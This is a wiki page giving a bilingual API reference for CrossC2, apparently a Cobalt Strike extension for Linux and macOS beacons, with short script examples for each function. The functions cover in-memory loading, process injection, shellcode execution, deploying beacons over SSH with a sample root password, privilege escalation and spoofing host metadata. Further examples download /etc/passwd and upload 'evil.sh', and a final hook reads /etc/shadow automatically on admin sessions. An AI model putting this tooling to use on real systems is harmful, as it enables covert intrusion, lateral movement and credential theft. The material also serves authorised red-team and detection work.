Skip to content

API Reference

hooooooooooook edited this page Jun 11, 2022 · 2 revisions

transportStrings

对传入的@(arg1, arg2, arg3, ..., argN) 进行 String类型Args 编码

参数

$1: index 从第几个值开始作为起始点进行编码 (从0开始计算)
$2: @args_array

return: 编码后 CC2Kit 可用的args值

例子

ex: 在内存执行脚本时,用到的技术

cs:cc_python import time; print('hello world')

$data = transportStrings(1, @_);
$data = "import time; print('hello world')"

这样的数据传入后台ssh_alias函数时,得到的值为 $( bid, "import", "time;", "print('hello", "world')" ) 为了从这类数据获取传入的完整字符串,就可以使用 transportStrings 获取第一个值以后的数据 $data = transportStrings(1, $3);

transportArgs

对传入的 @(arg1, arg2, arg3, ..., argN) 进行 CC2Kit所使用的 Args格式 编码

参数

$1: index 从第几个值开始作为起始点进行编码 (从0开始计算)
$2: @args_array

return: 编码后 CC2Kit 可用的args值

例子 ex:

    in: 
        $a = @('a', 'b', 'c', 'd')
        $out = transportArgs(0, $a)
    out: 
        $out = A7B6BCZ==

transportArgsArray

对传入的 @(arg1, arg2, arg3, ..., argN) 进行分割

参数

$1: index 从第几个值开始作为起始点进行分割子数组 (从0开始计算)
$2: @args_array

return: 返回子数组

例子 ex:

    in: 
        $a = @('a', 'b', 'c', 'd')
        $out = transportArgsArray(2, $a)
    out: 
        $out = @('c', 'd')

random_string

生成随机字符串

参数

$1 = $count  //字符串长度

例子

$random_str = random_string(8);

-isssh

检查会话是否为 ssh 类型(CrossC2)

例子


foreach $session (beacons()) {
	if (-isssh $session['id']) {
		println($session);
	}
}

Check if a session is an SSH session or not. Arguments

$1 - Beacon/Session ID

Example

command ssh_sessions {
	foreach $session (beacons()) {
		if (-isssh $session['id']) {
			println($session);
		}
	}
}

-is64

检查会话是否为 x64 架构

例子


foreach $session (beacons()) {
	if (-is64 $session['id']) {
		println($session);
	}
}

Check if a session is on an x64 system or not (Beacon only). Arguments

$1 - Beacon/Session ID

Example

command x64 {
	foreach $session (beacons()) {
		if (-is64 $session['id']) {
			println($session);
		}
	}
}

-isactive

检查会话是否为存活

例子


foreach $bid (beacon_ids()) {
	if (-isactive $bid) {
		println("$bid is active!");
	}
}

Check if a session is active or not. A session is considered active if (a) it has not acknowledged an exit message AND (b) it is not disconnected from a parent Beacon.

Arguments

$1 - Beacon/Session ID

Example

command active {
	local('$bid');
	foreach $bid (beacon_ids()) {
		if (-isactive $bid) {
			println("$bid is active!");
		}
	}
}

-isadmin

检查会话是否为管理员权限

例子


foreach $session (beacons()) {
	if (-isadmin $session['id']) {
		println($session);
	}
}

Check if a session has admin rights Arguments

$1 - Beacon/Session ID

Example

command admin_sessions {
	foreach $session (beacons()) {
		if (-isadmin $session['id']) {
			println($session);
		}
	}
}

getCrossC2Site

获取部署了CrossC2 beacon的site列表

例子

%beacon_site = getCrossC2Site();

%beacon_site = %(
    1: ('CrossC2 beacon MacOS', 'https://teamserver.com/os_beacon'),
    2: ...
)

getCrossC2Listener

获取已创建的CrossC2 Listener 列表

例子

%beacon_listener = getCrossC2Listener();

%beacon_listener = %(
    1: ('CrossC2 Listener xxx'),
    2: ...
)

getCrossC2Beacon

从已创建的CrossC2 listener中获取Beacon数据

参数

$1 = $listener      // 已创建的 CrossC2 Listener 名称
$2 = $type          // beacon 类型
    main    -> 可执行文件
    lib     -> 动态库

例子


$libbeaconData = getCrossC2Beacon('CrossC2 Listener Mac ssl', 'lib');

getSSHSession

获取活跃的会话列表

例子

%sessionMap = getSSHSession();

%sessionMap = %(
    1: ('10.0.0.1', 'test_server'),
    2: ...
)

bcrossc2_load_dyn

内存加载执行 动态库 / 可执行文件

参数

$1 = $bid
$2 = $taskType  // 任务类型
$3 = $taskName  // 任务名称
$4 = $taskResType   // 任务执行结果的数据类型
$5 = $loadFileName  // 需要加载的本地文件路径
$6 = $taskArgs  // 任务执行时传递的参数


$taskType { // 任务类型
    'so' // Linux 动态库
    'elf' // Linux 可执行文件
    'dylib' // MacOS 动态库
    'macho' // MacOS 可执行文件
}

$taskResType { // 任务执行结果的数据类型
    'info' // 常规的执行结果
    'screenshot' // 屏幕截图数据
    'keystrokes' // 键盘记录结果
    'portscan' // 端口扫描结果
    '...'
    '...MAGIC_NUM...' // CobaltStrike自带功能任务编号
}

$taskArgs = base64_encode('arg1^arg2^arg3^...^argN') // 需要传递的参数列表以 `^` 字符进行后,进行base64编码传入

动态库编写详见: https://gloxec.github.io/CrossC2/zh_cn/api/ 数据类型详见: https://gloxec.github.io/CrossC2/zh_cn/api/commons.html

例子

bcrossc2_load_dyn($bid, 'so', 'c2_plugin_demo', 'info', 'c:\\linux\\\demo.so', base64_encode('this is arg1^arg2^end'));


// 或在插件中使用前文提到的 transportArgs() 函数来快速编码
ssh_alias cc2_demo {
    $bid = $1;
    $task_arg1 = $2;
    $task_arg2 = $3;
    
    $t_args = transportArgs(2, @_); // 将从传入参数列表的第2个元素开始,编码为 CC2Kit 可用的任务参数
    
    // 原始的调用
    bcrossc2_load_dyn($bid, 'so', 'c2_plugin_demo', 'info', 'c:\\linux\\\demo.so', base64_encode($task_arg1 . '^' . $task_arg2));
    
    // 借助 transportArgs() 快速传入任务参数
    bcrossc2_load_dyn($bid, 'so', 'c2_plugin_demo', 'info', 'c:\\linux\\\demo.so', $t_args);
}

bcrossc2_load_dyn_pro

更加灵活的内存加载执行 动态库 / 可执行文件

参数

$1 = $bid
$2 = $taskType  // 任务类型
$3 = $taskName  // 任务名称
$4 = $taskResType   // 任务执行结果的数据类型
$5 = $taskNeedRun   // 在第一次加载时是否需要立即执行
$6 = $taskNeedPersistence   // 加载至目标的模块是否需要长久保留供下次直接调用
$7 = $taskXorKey    // 传递至目标的模块XOR加密值
$8 = $loadFileName  // 需要加载的本地文件路径
$9 = $taskArgs  // 任务执行时传递的参数


$taskNeedPersistence {
    'yes'   // 当持持久化保留时,团队所有成员可通过 shell 命令直接调用该模块
    'no'
}

例子

bcrossc2_load_dyn($bid, 'so', 'c2_plugin_demo', 'info', 'c:\\linux\\\demo.so', base64_encode('this is arg1^arg2^end'));

模块在目标上成功加载后,团队所有成员均可 shell 命令直接调用该模块
shell <cc2-run> <module_name$$> <process_name> <arg1> <arg2> ... <argN>
    <cc2-run>   调用目标上存在的模块
    <module_name$$>     模块在目标机上的别名
    <process_name>      模块在运行时显示的进程名称 (对可执行文件类而言)
    <arg1>  模块运行传入的参数
    <arg2> 
    

ex:
shell cc2-run cc2_demo_aliasName$$ java arg1 arg2

brun_script_in_mem

内存执行脚本

参数

$1 = $bid
$2 = $scriptType  // 脚本类型
$3 = $scriptEngPath  // 脚本解释器路径
$4 = $taskResType   // 任务执行结果的数据类型
$5 = $loadFileName  // 需要加载的本地文件路径
$6 = $taskArgs  // 脚本执行时传递的参数


$scriptType { // 脚本类型
    'python' // Linux 动态库
    'bash' // Linux 可执行文件
    'ruby' // MacOS 动态库
    'perl' // MacOS 可执行文件
    'php'
    '...'
}

$scriptEngPath { // 脚本解释器路径
    'null' // 将在目标 PATH 环境中按指定的 $scriptType 名称来搜索
    '/usr/bin/python2.7' // 强制指定目标环境脚本解释器路径
    '...'
}

例子

brun_script_in_mem($id, 'python', 'null', 'info', 'c:\\demo.py', $transportArg);
brun_script_in_mem($id, 'python', '/usr/local/xxx/bin/python2.7', 'info', 'c:\\demo.py', $transportArg);

bawait_upload_raw

支持回调的文件上传

参数

$1 = $bid
$2 = $file_data     // 文件内容
$3 = $file_rpath    // 远程目标存放的目录位置
$4 = $file_rname    // 远程目标存放名称
$5 = $cb            // 文件上传完毕的回调函数
$6 = $cb_args       // 回调函数传入的参数 @(arg1, arg2, ...)

例子

sub up_jump_cb {
    ...
}

bawait_upload_raw($bid, $beaconData, '/tmp/', 'beacon', &up_jump_cb, @(arg1, arg2, arg3));

bawait_upload

支持回调的文件上传

参数

$1 = $bid
$2 = $file_lpath    // 本地文件路径
$3 = $file_rpath    // 远程目标存放的目录位置
$4 = $file_rname    // 远程目标存放名称
$5 = $cb            // 文件上传完毕的回调函数
$6 = $cb_args       // 回调函数传入的参数 @(arg1, arg2, ...)

例子

sub up_jump_cb {
    ...
}

bawait_upload($bid, 'c:\\beacon.data', '/tmp/', 'beacon', &up_jump_cb, @(arg1, arg2, arg3));

bcc2_inject

向指定进程进行动态库注入

⚠️不完善,现仅只支持 Linux x64 bcc2_inject($bid, 1234, "aaaa", "/tmp/1234/"); # 向指定PID进程注入指定内容

参数

$1 = $bid
$2 = $pid               // 被注入的PID
$3 = $inject_so_data    // 需要注入的动态库
$4 = $temp_workpath     // 临时工作目录

例子


bcc2_inject($bid, 1234, $lib_beacon_data, "/tmp/");

bssh_jump

通过ssh方式进行 CrossC2 Beacon 投递上线

参数

$1 = $bid
$2 = $username      // ssh 用户名
$3 = $password      // ssh 密码
$4 = $privatekey    // ssh 私钥
$5 = $passtype      // 登录方式 'ssh' / 'ssh-key'
$6 = $listener      // 已创建的 CrossC2 Listener
$7 = @targetArray   // 目标列表
$8 = $workpath      // 临时工作目录

例子

bssh_jump($bid, "root", "123456", "", "ssh", "test_demo_cc2_listener", @("10.0.1.3", "10.0.1.4"), "/tmp/");

bcd

切换会话的工作目录

参数

$1 = $bid
$2 = $pwd

例子


bcd($1, '/home/centos/');

Ask a Beacon to change it's current working directory. Arguments

$1 - the id for the beacon. This may be an array or a single ID.
$2 - the folder to change to.

Example

alias home {
	$home = "/home/" . binfo($1, "user");
	bcd($1, $home);
}

bls

获取指定目录下文件列表

参数

$1 = $bid
$2 = path
<$3> = sub callback {  //可选的回调函数
        // 回调函数中可获取的参数
        $1 = beacon ID
        $2 = the folder
        $3 = results
    }

例子

bls($bid, '/etc/');
bls($bid, '/etc/', &callback);

Task a Beacon to list files

Arguments

$1 - the id for the beacon. This may be an array or a single ID.
$2 - the folder to list files for. Use . for the current folder.
$3 - an optional callback function with the ps results. Arguments to the callback are: $1 = beacon ID, $2 = the folder, $3 = results

Example

on beacon_initial {
	bls($1, ".");
}

bps

获取进程信息

参数

$1 = $bid
<$2> = sub callback {  //可选的回调函数
        // 回调函数中可获取的参数
        $1 = beacon ID
        $2 = results
    }

例子

bps($bid)
bps($bid, &callback);

Task a Beacon to list processes

Arguments

$1 - the id for the beacon. This may be an array or a single ID.
$2 - an optional callback function with the ps results. Arguments to the callback are: $1 = beacon ID, $2 = results

Example

on ssh_initial {
	bps($1);
}

bshell

调用 sh / bash 执行命令

参数

$1 = $bid
$2 = $command

例子

bshell($bid, "whoami");

Ask Beacon to run a command with sh

Arguments

$1 - the id for the beacon. This may be an array or a single ID.
$2 - the command and arguments to run

Example

bshell($bid, "whoami");

bmkdir

创建目录

参数

$1 = $bid
$2 = $dir

例子

bmkdir($bid, "/tmp/dir_a");

Ask Beacon to make a directory

Arguments

$1 - the id for the beacon. This may be an array or a single ID.
$2 - the folder to create

Example

bmkdir($bid, "/tmp/dir_a");

bkill

调用kill强制杀死指定PID的进程

参数

$1 = $bid
$2 = $pid

例子

bkill($bid, 1234);

Ask Beacon to kill a process

Arguments

$1 - the id for the beacon. This may be an array or a single ID.
$2 - the PID to kill

Example

bkill($1, 1234);

brm

删除指定的文件或目录

参数

$1 = $bid
$2 = $file_or_dir

例子

brm($bid, "/tmp/dir_a");
brm($bid, "/tmp/file_b.txt");

Ask Beacon to remove a file or folder.

Arguments

$1 - the id for the beacon. This may be an array or a single ID.
$2 - the file or folder to remove

Example

brm($bid, "/tmp/dir_a");
brm($bid, "/tmp/file_b.txt");

bsleep

设定beacon的休眠时间

参数

$1 = $bid
$2 = $sleep_time // 以秒为单位

例子

bsleep($bid, 5); // sleep 5s
bsleep($bid, 7200); // sleep 2h

Ask Beacon to change its beaconing interval and jitter factor. Arguments

$1 - the id for the beacon. This may be an array or a single ID.
$2 - the number of seconds between beacons.

Example

bsleep($bid, 5); // sleep 5s
bsleep($bid, 7200); // sleep 2h

bcc2_setenv

设定beacon的环境变量

参数

$1 = $bid
$2 = $key // 环境变量名称
$3 = $value // 环境变量值

例子

bcc2_setenv($bid, "NEW_PATH", "./:/bin/:/sbin/");

Ask Beacon to set an environment variable

Arguments

$1 - the id for the beacon. This may be an array or a single ID.
$2 - the environment variable to set
$3 - the value to set the environment variable to (specify $null to unset the variable)

Example

bcc2_setenv($bid, "NEW_PATH", "./:/bin/:/sbin/");

bcc2_unsetenv

删除beacon的环境变量

参数

$1 = $bid
$2 = $key // 环境变量名称

例子

bcc2_unsetenv($bid, "NEW_PATH");

bcc2_getsystem

让beacon尝试获取 uid=0 的root高权限,用于解决提权后beacon进程仍旧处于低权限的问题

参数

$1 = $bid

例子

bcc2_getsystem($bid);

bshellcode

beacon 创建新进程后进行执行传入的 shellcode

参数

$1 = $bid
$2 = $shellcdoe // '\x90\x90\x90\x90'

例子

bshellcode($bid, "\\x90\\x90\\x90\\x90");

bsetlocalip

改变beacon的内网IP元数据,用于解决多网卡情况下内网IP显示非期望网卡的问题

参数

$1 = $bid
$2 = $ip

例子

bsetlocalip($bid, "10.0.0.2");

bsetostype

改变beacon的操作系统元数据

参数

$1 = $bid
$2 = $ostype

$ostype: 
    android
    Apple iOS
    Cisco IOS
    Firewall
    FreeBSD
    Linux
    MacOS X
    NetBSD
    OpenBSD
    Printer
    Solaris
    Unknown
    VMware
    Windows

例子

bsetostype($bid, "Firewall");

bsethostname

改变beacon的机器名称元数据

参数

$1 = $bid
$2 = $hostname

例子

bsethostname($bid, "dev-gitlab_backup_server");
bsethostname($bid, "pro-chat_server");

bupload

通过beacon上传文件

参数

$1 = $bid
$2 = $local_file_path // 待上传的本地文件, cs4.6以下版本有 1M 的文件大小限制,需使用bupload_raw

例子

bupload($bid, script_resource("evil.bin"));
bupload($bid, "/tmp/evil.sh");

Ask a Beacon to upload a file

Arguments

$1 - the id for the beacon. This may be an array or a single ID.
$2 - the local path to the file to upload

Example

bupload($bid, "/tmp/evil.sh");

bupload_raw

通过beacon上传文件

参数

$1 = $bid
$2 = $remote_filename // 远程文件储存的名称
$3 = $data // 待上传的数据
<$4> = $local_filepath // 本地待上传的文件路径

例子

bupload_raw($bid, "evil.sh", "this is test");

Ask a Beacon to upload a file

Arguments

$1 - the id for the beacon. This may be an array or a single ID.
$2 - the remote file name of the file
$3 - the raw content of the file
$4 - [optional] the local path to the file (if there is one)

Example

bupload_raw($bid, "evil.sh", "this is test");

bdownload

通过beacon下载文件

参数

$1 = $bid
$2 = $remote_filepath // 待下载的文件路径

例子

bdownload($bid, "/etc/passwd");

Ask a Beacon to download a file

Arguments

$1 - the id for the beacon. This may be an array or a single ID.
$2 - the file to request

Example

bdownload($bid, "/etc/passwd");

bcc2_spawn

派生一个新会话

参数

$1 = $bid

例子

bcc2_spawn($bid);

Ask Beacon to spawn a new session

Arguments

$1 - the id for the beacon. This may be an array or a single ID.

Example

item "&Spawn" {
	openPayloadHelper(lambda({
		bspawn($bids, $1);
	}, $bids => $1));
}

bpwd

获取会话的工作目录

参数

$1 = $bid

例子

bpwd($bid);

Ask Beacon to print its current working directory

Arguments

$1 - the id for the beacon. This may be an array or a single ID.

Example

alias pwd {
	bpwd($bid);
}

bexit

结束活跃的会话

参数

$1 = $bid

例子

bexit($bid);

Ask a Beacon to exit.

Arguments

$1 - the id for the beacon. This may be an array or a single ID.

Example

item "&Die" {
	binput($1, "exit");
	bexit($1);
}

bconnect

通过TCP方式连接到 CrossC2 子节点

参数

$1 = $bid
$2 = $target_ip
$3 = $target_port

例子

bconnect($bid, '10.0.0.3', 4444);

Ask Beacon (or SSH session) to connect to a Beacon peer over a TCP socket

Arguments

$1 - the id for the beacon. This may be an array or a single ID.
$2 - the target to connect to
$3 - [optional] the port to use. Default profile port is used otherwise.
Note

Use &beacon_link if you want a script function that will connect or link based on a listener configuration.

Example

bconnect($bid, '10.0.0.3', 4444);

bclear

清除还未下发的会话任务

参数

$1 = $bid

例子

bclear($bid);

This is the "oops" command. It clears the queued tasks for the specified beacon.

Arguments

$1 - the id for the beacon. This may be an array or a single ID.

Example

bclear($1);

bnote

对会话进行信息备注

参数

$1 = $bid
$2 = $note

例子

bnote($bid, 'dev-data_server');

Assign a note to the specified Beacon.

Arguments

$1 - the id for the beacon to post to
$2 - the note content

Example

bnote($1, "foo")

command list_uploadingFile

显示正在上传的文件

event hook

on ssh_initial {    // 当 CrossC2 会话上线时 
	bsleep($1, 60);    // 自动设置 sleep 时间为 60s
	if (-isadmin $1) {
		bshell($1, "cat /etc/shadow");
	}
}